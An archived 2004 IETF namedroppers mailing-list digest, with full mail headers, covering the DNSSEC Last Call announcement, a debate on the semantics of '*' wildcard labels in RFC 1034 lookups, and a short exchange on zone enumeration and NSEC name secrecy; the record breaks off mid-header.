To: IETF-Announce
From: The IESG
Subject: Last Call: 'DNS Security Introduction and Requirements' to Proposed
Standard
Reply-to: iesg@ietf.org
CC:
Message-Id:
Date: Fri, 03 Sep 2004 17:46:31 -0400
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
The IESG has received a request from the DNS Extensions WG to consider the
following documents:
- 'Protocol Modifications for the DNS Security Extensions '
as a Proposed Standard
- 'DNS Security Introduction and Requirements '
as a Proposed Standard
- 'Resource Records for the DNS Security Extensions '
as a Proposed Standard
The IESG plans to make a decision in the next few weeks, and solicits
final comments on this action. Please send any comments to the
iesg@ietf.org or ietf@ietf.org mailing lists by 2004-09-17.
The file can be obtained via
http://www.ietf.org/internet-drafts/draft-ietf-dnsext-dnssec-protocol-07.txt
http://www.ietf.org/internet-drafts/draft-ietf-dnsext-dnssec-intro-11.txt
http://www.ietf.org/internet-drafts/draft-ietf-dnsext-dnssec-records-09.txt
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Fri Sep 3 22:01:37 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA00807
for ; Fri, 3 Sep 2004 22:01:37 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C3PnE-0002xC-3B
for namedroppers-data@psg.com; Sat, 04 Sep 2004 01:56:40 +0000
Received: from [129.9.80.165] (helo=fxshpr08.extra.daimlerchrysler.com)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C3Pn2-0002vw-HU
for namedroppers@ops.ietf.org; Sat, 04 Sep 2004 01:56:28 +0000
Received: (from uucp@localhost)
by fxshpr08.extra.daimlerchrysler.com (8.12.8/8.9.0) id i841lpVb006518
for ; Fri, 3 Sep 2004 21:47:51 -0400 (EDT)
Received: from nodnsquery(129.9.147.104) by fxshpr08.extra.daimlerchrysler.com via csmap (V6.0)
id srcAAAiNaOUm; Fri, 3 Sep 04 21:47:51 -0400
Received: from shconpr2.shdc.chrysler.com ([127.0.0.1])
by shconpr2-hme0.shdc.chrysler.com (Mail-Gear 2.0.0 bld 66) with SMTP id M2004090321562619406
for ; Fri, 03 Sep 2004 21:56:26 -0400
Received: from odmrspr2-hme0.oddc.chrysler.com ([53.231.2.113])
by shconpr2.shdc.chrysler.com (SMSSMTP 4.0.0.59) with SMTP id M2004090321562503555
for ; Fri, 03 Sep 2004 21:56:25 -0400
Received: from shsecpr1-ce0.shdc.chrysler.com (shsecpr1-ce0.shdc.chrysler.com [53.231.128.176])
by odmrspr2-hme0.oddc.chrysler.com (8.12.11/8.12.11/daimlerchrysler-relay-1.1-kcd) with SMTP id i841uNFm029739
for ; Fri, 3 Sep 2004 21:56:24 -0400 (EDT)
Received: from wokcdts1.is.chrysler.com ([53.230.102.252])
by shsecpr1-ce0.shdc.chrysler.com (SMSSMTP 4.0.0.59) with SMTP id M2004090321562317935
for ; Fri, 03 Sep 2004 21:56:23 -0400
Received: from daimlerchrysler.com (wokcdts1.is.chrysler.com [53.230.102.252])
by wokcdts1.is.chrysler.com (8.11.7+Sun/8.9.1) with ESMTP id i841uNj01234
for ; Fri, 3 Sep 2004 21:56:23 -0400 (EDT)
Message-ID: <413920C7.3000809@daimlerchrysler.com>
Date: Fri, 03 Sep 2004 21:56:23 -0400
From: Kevin Darcy
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.4) Gecko/20030701
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: namedroppers@ops.ietf.org
Subject: Re: more wild cards
References: <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU>
In-Reply-To: <3659.1094156279@munnari.OZ.AU>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit
I think one major bit of "looseness" that needs to be addressed here is
that RFC 1034's Section 4.3.3 restricts the term "wildcard" to names
_beginning_ with an asterisk label, whereas the lookup algorithm of
Section 4.3.2 talks about "matching down, label by label", when to look
for an asterisk label, and what to do if one is found, without any
limitations on whether the asterisk label is the first one in an owner
name or not. So the whole class of owner names containing _non-terminal_
asterisk labels is in a kind of twilight zone, able, presumably, to
affect the lookup algorithm *functionally* in a wildcard-like way, but
yet not "wildcards" under the *structural* definition of Section 4.3.3.
In particular, this leaves completely open whether Section 4.3.3's
prohibition (assuming one reads its "should not contain" in more modern
terms as "MUST NOT contain") of "wildcards" with multiple asterisk
labels in their name means that asterisk labels contained in *all*
multiple-asterisk-label-containing owner names, including names where
the first label is something other than a lone asterisk, are thereby
excluded from the "special" behavior that asterisk labels have within
the lookup algorithm.
If the intent was for only "wildcards" to have the special effect on the
lookup algorithm, it would have been helpful for the algorithm
description to have at least used the word. Were these sections written
at different times, or cribbed from different sources? They seem rather
disconnected from each other, despite their textual adjacency in the RFC...
- Kevin
Robert Elz wrote:
> Date: Thu, 2 Sep 2004 11:08:25 -0400
> From: Edward Lewis
> Message-ID:
>
> | We restrict names that have CNAME to be exclusively that ('cept for
> | DNSSEC records) and then just one CNAME RR. We restrict some name
> | to have just 1 SOA RR.
>
>Sorry, how is this in any way relevant. There are lots of various
>restrictions in the DNS as it was originally defined, that's fine.
>There never were any restrictions on the values of the octets in any
>name labels however - none at all for any uses at all - and there's
>no reason at all to start adding any.
>
> | There's nothing in the current specifications that prevent "* NS"
> | now.
>
>No, of course there isn't, and nor is there any reason for there to be.
>
> | The WG seems to be moving towards formalizing the prevention.
>
>No, the WG is (seems to be) confused. What the WG wants to prevent
>is a '* NS' meaning "all domain names, other than those explicitly in
>the zone, are delegated to ..."
>
>But there's no need to do that, that usage of '* NS' is already absent.
>
>That is, while there's no text in 1034 that explicitly says this doesn't
>work in quite those explicit terms, there is absolutely nothing in the
>lookup algorithm which could conceivably allow it to work.
>
>The only way a '* NS' RR will ever be used is when someone is either
> a) doing an explicit lookup for a qname that includes a '*'
> label at the appropriate point to match (in which case there
> is no wildcard at all, just yet another 1 octet label, the '*'
> is no different at all to an 'x' or a ':' (or for that matter,
> even a '.').
> b) doing a query of type NS for a name that isn't in the zone.
> Then the '*' will match as a wildcard. This is harmless.
>
> | Looking at the discussion - I see a swell of support for formally
> | banning the holding of NS and SOA at the * label.
>
>I don't. What I saw was a swell of support for not making dynamic
>zone creation work by the addition of some wildcard magic. That's
>something different - to do it would actually require changes to the
>lookup algorithms (something like is being proposed for CNAME, but of
>a more radical nature).
>
>I know that there are people who believe that a '* NS' record somehow
>might be a wildcard delegation - but they're simply mistaken. There is
>no such thing in the DNS as it exists, and we don't need to change anything
>to prevent that interpretation.
>
>Making '* NS' illegal would simply be making one special case name that
>can own any other record type, but cannot be delegated, unlike every
>other name that ever might exist.
>
> | As much as I can
> | rationalize, leaving them legal does no harm in the sense that the
> | protocol isn't harmed.
>
>But making them illegal makes a silly special case, for which
>there is no justification.
>
> | But, by leaving them legal we open up the
> | documents to widely speculative interpretations (such as what
> | happened in MARID regarding internal wild cards)
>
>Yes, we need to make it clear how the things work. That's why we need
>this clarifications doc. We don't need to change anything to explain it.
>
> | and we create gray areas and corner cases.
>
>No, there are no grey areas, and no corner cases here, everything is simple.
>
>It is just confusing as people keep treating the '*' in a DNS zone
>(or domain name) as if it were a '*' (or perhaps .*) in a regular
>expression (or perhaps closer, a '*' in a glob pattern). We just
>need to make it clear that it is nothing like any of that. There
>is no pattern matching going on here at all.
>
> | Exactly what I've discovered in my research. And, because of your
> | last line, I think the WG wants to see the ban on * SOA and *NS in
> | place. To make it clear to newcomers to "don't go there."
>
>But that's the wrong method. This is just as crazy as the earlier
>attempts to restrict domain names to the old hosts.txt syntax. We
>don't have to do anything like that.
>
>We just need to explain how it works - clearly - and with examples.
>
> | Look at what we did for the DS RR set. We changed the data lookup
> | algorithm to make the answer come from the parent.
>
>Yes, that's OK, that kind of thing is possible - changes can be made
>when there's a very good reason, and when you can be confident that
>nothing is going to break because of the change - which might not be
>as difficult when you're doing something completely new.
>
> | Here, we can say "the answer to a * NS query is noerror/nodata." We
> | can most easily enforce this by refusing to allow "*NS" into the
> | server. That's better than putting in other road blocks.
>
>But we don't need to do a thing. That's what I am trying to make clear.
>The spec as it is already provides all the right answers in this area.
>
>The only problem is that almost no-one reads the spec, rather they just
>jump to conclusions. That isn't a good reason for making changes.
>
> | Let's say we discover that there's a use for "* NS".
>
>There already is. It is used to delegate the '*' sub-domain.
>What else could it possibly mean?
>
> | I really think that when it comes to securing critical infrastructure
> | like DNS, we want to clamp down on it's looseness with out making it
> | brittle.
>
>There is nothing loose here, it is already precisely defined. As we
>agreed earlier, the only problem is how people misinterpret it, not
>how things are specified. When that's the problem, the answer is
>to correct the interpretation, not to change the spec.
>
> | I do share the concern that laying down "rules" is dangerous for
> | future growth.
>
>Here I think you're (and here I really mean the singular "you" - ye??) still
>imagining that there can somehow be some way of wildcard auto zone
>generation/delegation, not now perhaps, but sometime in the future.
>
>There cannot be - or not without a major redesign of the DNS lookup
>algorithms (if that were ever to be attempted, it might possibly not
>even be '*' that's used as the magic token for this purpose).
>
> | But, the case is being made that we want the DNS to be much more clear,
> | understandable to folks that coming to the table later in the
> | development of the Internet.
>
>Yes, absolutely, and this part I agree with. But the way to make things
>clear isn't to introduce more special case rules. It is to simply
>explain things better, so they can be understood properly.
>
> | When I talked to MARID in May, at their interim meeting, they did not
> | want an engineering discussion of DNS, they wanted "can/can't".
>
>Sure, and the answer is "can't". If they don't want the explanation,
>that's OK, provided they're prepared to accept the answer. If they're
>not prepared to simply accept a yes/no answer because it isn't the
>answer they hoped for, then they have to start to understand the
>mechanism. If they refuse that, they're idiots, and we just ignore
>them, what they're doing won't work, can't work, and why should we care?
>
>It is kind of like if I ask my mechanic "can my car do 200 kph in
>reverse?" (S)he says "no". If I'm prepared to simply accept
>that answer, fine. On the other hand, if I start to argue that
>the car does 200 kph in the forward direction, so the engine can
>clearly manage that speed, so it must also be able to do 200 kph
>in reverse, and I refuse to have anything about gear ratios or
>whatever explained to me, then what should be done? Limit the
>max forward speed to what can be obtained in reverse by fiat?
>Because that's exactly what is being proposed here for the DNS.
>
>kre
>
>
>--
>to unsubscribe send a message to namedroppers-request@ops.ietf.org with
>the word 'unsubscribe' in a single line as the message text body.
>archive:
>
>
>
>
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Sun Sep 5 08:22:00 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA26996
for ; Sun, 5 Sep 2004 08:21:55 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C3vsX-0009w9-AB
for namedroppers-data@psg.com; Sun, 05 Sep 2004 12:12:17 +0000
Received: from [217.155.92.105] (helo=scuzzy.ben.algroup.co.uk)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C3vsL-0009vV-65
for namedroppers@ops.ietf.org; Sun, 05 Sep 2004 12:12:06 +0000
Received: from [193.133.15.100] (eandbwin.ben.algroup.co.uk [193.133.15.100])
by scuzzy.ben.algroup.co.uk (Postfix) with ESMTP
id 990D8108A63; Sun, 5 Sep 2004 12:12:01 +0000 (GMT)
Message-ID: <413B0290.1090504@algroup.co.uk>
Date: Sun, 05 Sep 2004 13:12:00 +0100
From: Ben Laurie
User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502)
X-Accept-Language: en
MIME-Version: 1.0
To: Robert Elz
Cc: Edward Lewis , namedroppers@ops.ietf.org
Subject: Re: wild cards
References: <25125.1094132929@munnari.OZ.AU> <22959.1094153870@munnari.OZ.AU> <14642.1094161213@munnari.OZ.AU>
In-Reply-To: <14642.1094161213@munnari.OZ.AU>
X-Enigmail-Version: 0.84.2.0
X-Enigmail-Supports: pgp-inline, pgp-mime
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit
Robert Elz wrote:
> I think it is important that we're clear that a '*' name is only a wildcard
> when it is being used that way as part of the lookup algorithm. Otherwise
> it is simply an ordinary domain name.
>
> When a server sees a '*' label in a zone file, there's no way it can tell
> which of those two ways it will actually get used. It may presume it is
> likely to be used as a wildcard, as if a wildcard is needed, it is there to
> fill the role - but if no-one ever does a lookup of a non-existing name
> (yeah - I know - not a likely assumption, but nevertheless) then it would
> never be used as a wildcard - whereas if there are lookups for the literal
> '*' it is being used as an ordinary domain name label.
Is this really a distinction? If '*' is a wildcard, then it will match
'*' just as well as anything else. So, if a server assumes it is always
a wildcard, then it is never wrong, is it? So it isn't clear to me why
it is important to make this distinction.
Unless you are trying to handle the 'x.*' case by saying this, in which
case I agree but I'm not sure its a helpful way to express it.
Cheers,
Ben.
--
http://www.apache-ssl.org/ben.html http://www.thebunker.net/
"There is no limit to what a man can do or how far he can go if he
doesn't mind who gets the credit." - Robert Woodruff
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Sun Sep 5 15:46:07 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18362
for ; Sun, 5 Sep 2004 15:46:02 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C42qx-000L6F-DO
for namedroppers-data@psg.com; Sun, 05 Sep 2004 19:39:07 +0000
Received: from [192.150.250.67] (helo=fuchsia.home)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C42ql-000L3n-F1
for namedroppers@ops.ietf.org; Sun, 05 Sep 2004 19:38:56 +0000
Received: from delta.noi.kre.to (delta.ex0.home [192.168.192.22]) by fuchsia.home with ESMTP
id i85Jb50v015535; Mon, 6 Sep 2004 02:37:05 +0700 (ICT)
Received: from munnari.OZ.AU (localhost [127.0.0.1])
by delta.noi.kre.to (8.12.9/8.11.6) with ESMTP id i85JawFn009788;
Mon, 6 Sep 2004 02:37:02 +0700 (ICT)
From: Robert Elz
To: Ben Laurie
cc: Edward Lewis , namedroppers@ops.ietf.org
Subject: Re: wild cards
In-Reply-To: <413B0290.1090504@algroup.co.uk>
References: <413B0290.1090504@algroup.co.uk> <25125.1094132929@munnari.OZ.AU> <22959.1094153870@munnari.OZ.AU> <14642.1094161213@munnari.OZ.AU>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Mon, 06 Sep 2004 02:36:58 +0700
Message-ID: <2501.1094413018@munnari.OZ.AU>
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Date: Sun, 05 Sep 2004 13:12:00 +0100
From: Ben Laurie
Message-ID: <413B0290.1090504@algroup.co.uk>
| Is this really a distinction? If '*' is a wildcard, then it will match
| '*' just as well as anything else. So, if a server assumes it is always
| a wildcard, then it is never wrong, is it? So it isn't clear to me why
| it is important to make this distinction.
It matters because of the way the lookup algorithm is defined. When
a label is found by an exact match (well, a case independent exact match)
a certain sequence of further actions takes place (including handling CNAME
records, and delegations).
On the other hand, when no match is found, then a check for a wildcard is
made, different steps follow - which includes auto-match of all the remaining
labels in the query, but doesn't include delegations, nor (currently)
following of CNAME records.
For better of worse, this is how it all is defined to work. What we're
supposed to be doing is making it all clear. Burying this distinction,
while an irrelevant one for most purposes, makes it almost impossible to
be as clear as we need to be about how it all works.
kre
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Sun Sep 5 16:25:41 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA20300
for ; Sun, 5 Sep 2004 16:25:41 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C43Xe-0002th-BE
for namedroppers-data@psg.com; Sun, 05 Sep 2004 20:23:14 +0000
Received: from [192.150.250.67] (helo=fuchsia.home)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C43XR-0002q8-F6
for namedroppers@ops.ietf.org; Sun, 05 Sep 2004 20:23:03 +0000
Received: from delta.noi.kre.to (delta.ex0.home [192.168.192.22]) by fuchsia.home with ESMTP
id i85KMk0v018753; Mon, 6 Sep 2004 03:22:46 +0700 (ICT)
Received: from munnari.OZ.AU (localhost [127.0.0.1])
by delta.noi.kre.to (8.12.9/8.11.6) with ESMTP id i85KMjFn026272;
Mon, 6 Sep 2004 03:22:48 +0700 (ICT)
From: Robert Elz
To: Kevin Darcy
cc: namedroppers@ops.ietf.org
Subject: Re: more wild cards
In-Reply-To: <413920C7.3000809@daimlerchrysler.com>
References: <413920C7.3000809@daimlerchrysler.com> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Mon, 06 Sep 2004 03:22:45 +0700
Message-ID: <18901.1094415765@munnari.OZ.AU>
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Date: Fri, 03 Sep 2004 21:56:23 -0400
From: Kevin Darcy
Message-ID: <413920C7.3000809@daimlerchrysler.com>
| I think one major bit of "looseness" that needs to be addressed here is
| that RFC 1034's Section 4.3.3 restricts the term "wildcard" to names
| _beginning_ with an asterisk label, whereas the lookup algorithm of
| Section 4.3.2 talks about "matching down, label by label", when to look
| for an asterisk label, and what to do if one is found, without any
| limitations on whether the asterisk label is the first one in an owner
| name or not.
Actually, this isn't as different as it appears to be. Remember that if the
name a.b.c.d exists, then so do the names b.c.d.e c.d.e d.e and e.
If any of a b c d or e is '*' then there is a name that begins with '*'.
However, 4.3.3 talks of RR's owned by '*' - which is what is important
for wildcards, and why names like a.*[.anything] in a zone are useless
(ignoring the case where someone is doing a lookup for a qname containing
a '*' label where those a.* names work just like any other name).
If a.* is present in the zone then the '*' label (by virtue of this RR
anyway) has no RR's attached to it - it is what we have come to call an
empty non-terminal. The lookup algorithm finds the '*', matches its RR's
(of which there are none) against the QTYPE, must fail to find anything,
terminates the search, and returns an empty answer. For all practical
purposes, that's exactly the same as returning a "no such name" error,
whatever we wanted to do that caused the name lookup to be done is going
to fail, as the data we wanted isn't there.
If there's also a '* XX' RR (for any type XX) that one of course will
exist, and do its wildcard thing, totally independently of the a.* record
(the latter remaining useless).
Note here it doesn't matter in the slightest what 'a' is, which is one good
reason that names with multiple '*'s shouldn't exist - any name with anything
to the left of the '*' is, for practical purposes, useless.
But to re-iterate, all this assumed no queries involving '*' labels in
the QNAME - as soon as we allow for those (and 1034 clearly does) then
we have to also allow for a query of foo.*.example.com (which could be
implemented using a foo.* label in the example.com zone) - and we also
need to allow for "foo" to match using a wildcard (which might be *.*
in the example.com zone). What's more, we also should allow the '*'
sub-domain to be delegated, leading to '* NS' records in example.com
and '*.example.com. SOA' in the delegated zone file.
kre
ps: I know I said I was going to remain silent - but it has been a couple
of days now, and while we've had those couple of comments that I have now
just replied to, we still haven't had any opinions on what (if anything)
anyone really wants to change about '*' labels and where they're permitted.
My opinion remains that no changes are needed - just *much* better
explanations (or at least, ones that don't require painstaking analysis of
the details of the algorithm - what's there now is actually reasonably precise,
but it takes very careful reading to extract it).
Namedroppers isn't usually known for people being reticent about expressing
opinions, what has happened to everyone? (Yes, I know it is a holiday
weekend in the US, but the whole net isn't there...)
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Mon Sep 6 05:41:07 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA17696
for ; Mon, 6 Sep 2004 05:41:07 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C4Fuh-000Ela-Sd
for namedroppers-data@psg.com; Mon, 06 Sep 2004 09:35:51 +0000
Received: from [217.155.92.105] (helo=scuzzy.ben.algroup.co.uk)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C4FuW-000EiN-O1
for namedroppers@ops.ietf.org; Mon, 06 Sep 2004 09:35:41 +0000
Received: from [193.133.15.100] (eandbwin.ben.algroup.co.uk [193.133.15.100])
by scuzzy.ben.algroup.co.uk (Postfix) with ESMTP
id 89331109333; Mon, 6 Sep 2004 09:35:39 +0000 (GMT)
Message-ID: <413C2F5A.1040104@algroup.co.uk>
Date: Mon, 06 Sep 2004 10:35:22 +0100
From: Ben Laurie
User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502)
X-Accept-Language: en
MIME-Version: 1.0
To: Paul Vixie
Cc: namedroppers@ops.ietf.org
Subject: Re: dictionary attack on nameservers
References: <20040728190530.GA22758@atoom.net>
In-Reply-To:
X-Enigmail-Version: 0.84.2.0
X-Enigmail-Supports: pgp-inline, pgp-mime
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit
Paul Vixie wrote:
> "Olaf M. Kolkman" writes:
>>I want to close this thread by giving every participant the
>>opportunity to state their concluding argument in not more than 20
>>lines of text.
>>...
>>I am trying to get something sensible out of this that will allow us to
>>go forward or, if needed, conclude, in a decent fashion.
>
>
> 1: my observations are:
> 2:
> 3: - non-registry (SLD, et al) zone administrators are already
> 4: hiding their sensitive DNS data, if any, behind split views
> 5:
> 6: - registry (mostly TLD) zone administrators have a competitive
> 7: interest in name secrecy not shared by registrars/registrants
I don't believe "competitive" is a correct characterisitaion for all
registries, though it may be for some, and I'm not sure I agree that
registrants do not share this interest, either. Certainly registrants
register domains in order that a particular audience can see those
domains, but that does not mean that all registrants want their domains
to be visible to absolutely everyone.
For example, I have just registered a domain in order to get email - if
I want to receive email from you, then I'll tell you what it is. If I
don't, I won't. Having it published doesn't help me achieve that.
> 9: - load increases due to more difficult enumeration will be felt
> 10: by enumeration victims and third parties, not just attackers
> 11:
> 12: my recommendations are:
> 13:
> 14: + ensure that NSEC is capable of covering a single name, so that
> 15: a zone can use precomputed positive signatures and on-the-fly
> 16: negative signatures, and let motivated/interested zone
> 17: administrators add name secrecy by provisioning extra hardware.
> 18:
> 19: + consider other, more compact encodings for nonexistence-proof,
> 20: which are easier to generate on-the-fly than single-name NSEC.
Why are you only interested in on-the-fly proofs? If its to avoid
(major) changes to the protocol, then there's at least one problem with
this type of solution, which is that outsourced DNS servers would have
to have a signing key capable of signing anything.
Cheers,
Ben.
--
http://www.apache-ssl.org/ben.html http://www.thebunker.net/
"There is no limit to what a man can do or how far he can go if he
doesn't mind who gets the credit." - Robert Woodruff
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Mon Sep 6 06:13:10 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA19312
for ; Mon, 6 Sep 2004 06:13:10 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C4GSa-000Jgj-J7
for namedroppers-data@psg.com; Mon, 06 Sep 2004 10:10:52 +0000
Received: from [193.0.0.199] (helo=postman.ripe.net)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C4GSP-000JgO-OZ
for namedroppers@ops.ietf.org; Mon, 06 Sep 2004 10:10:41 +0000
Received: by postman.ripe.net (Postfix, from userid 8)
id EBA8951FA6; Mon, 6 Sep 2004 12:10:40 +0200 (CEST)
Received: from birch.ripe.net (birch.ripe.net [193.0.1.96])
by postman.ripe.net (Postfix) with ESMTP id AF9D44E6C7
for ; Mon, 6 Sep 2004 12:10:40 +0200 (CEST)
Received: from x50.ripe.net (x50.ripe.net [193.0.1.50])
by birch.ripe.net (8.12.10/8.11.6) with SMTP id i86AAeDI001621
for ; Mon, 6 Sep 2004 12:10:40 +0200
Date: Mon, 6 Sep 2004 12:10:40 +0200
From: "Olaf M. Kolkman"
To: namedroppers@ops.ietf.org
Subject: Re: dictionary attack on nameservers
Message-Id: <20040906121040.08f18814.olaf@ripe.net>
In-Reply-To: <413C2F5A.1040104@algroup.co.uk>
References: <20040728190530.GA22758@atoom.net>
<413C2F5A.1040104@algroup.co.uk>
Organization: RIPE NCC
X-Mailer: Sylpheed version 0.9.11 (GTK+ 1.2.10; i686-pc-linux-gnu)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-RIPE-Spam-Status: N 0.000000 / 0.0 / 0.0 / disabled
X-RIPE-Signature: ec1a51c56f84781edc8487b991bbf713
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit
I would like to conclude this thread. Please send your (about) 20
lines closing argument and try to refrain from discussing other
persons summaries.
-- Olaf
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Mon Sep 6 09:47:58 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA04845
for ; Mon, 6 Sep 2004 09:47:58 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C4JlC-000LYS-Jp
for namedroppers-data@psg.com; Mon, 06 Sep 2004 13:42:18 +0000
Received: from [217.155.92.105] (helo=scuzzy.ben.algroup.co.uk)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C4Jl1-000LX2-7L
for namedroppers@ops.ietf.org; Mon, 06 Sep 2004 13:42:07 +0000
Received: from [193.133.15.100] (eandbwin.ben.algroup.co.uk [193.133.15.100])
by scuzzy.ben.algroup.co.uk (Postfix) with ESMTP
id 0487710958F; Mon, 6 Sep 2004 13:42:05 +0000 (GMT)
Message-ID: <413C692C.1060702@algroup.co.uk>
Date: Mon, 06 Sep 2004 14:42:04 +0100
From: Ben Laurie
User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502)
X-Accept-Language: en
MIME-Version: 1.0
To: Robert Elz
Cc: Kevin Darcy , namedroppers@ops.ietf.org
Subject: Re: more wild cards
References: <413920C7.3000809@daimlerchrysler.com> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU>
In-Reply-To: <18901.1094415765@munnari.OZ.AU>
X-Enigmail-Version: 0.84.2.0
X-Enigmail-Supports: pgp-inline, pgp-mime
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit
Robert Elz wrote:
> ps: I know I said I was going to remain silent - but it has been a couple
> of days now, and while we've had those couple of comments that I have now
> just replied to, we still haven't had any opinions on what (if anything)
> anyone really wants to change about '*' labels and where they're permitted.
> My opinion remains that no changes are needed - just *much* better
> explanations (or at least, ones that don't require painstaking analysis of
> the details of the algorithm - what's there now is actually reasonably precise,
> but it takes very careful reading to extract it).
I'm not sure I understand it clearly enough to be sure whether it needs
changes - perhaps that would be better done once it has been explained?
What I want to know is: what does DNSSEC have to demonstrate to be sure
it has proved there's no wildcard match? Given the apparent lack of
clarity, can we be sure we know it does that currently?
Cheers,
Ben.
--
http://www.apache-ssl.org/ben.html http://www.thebunker.net/
"There is no limit to what a man can do or how far he can go if he
doesn't mind who gets the credit." - Robert Woodruff
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Mon Sep 6 13:20:25 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA18938
for ; Mon, 6 Sep 2004 13:20:25 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C4N69-000Nws-UP
for namedroppers-data@psg.com; Mon, 06 Sep 2004 17:16:09 +0000
Received: from [208.218.130.12] (helo=gis.net)
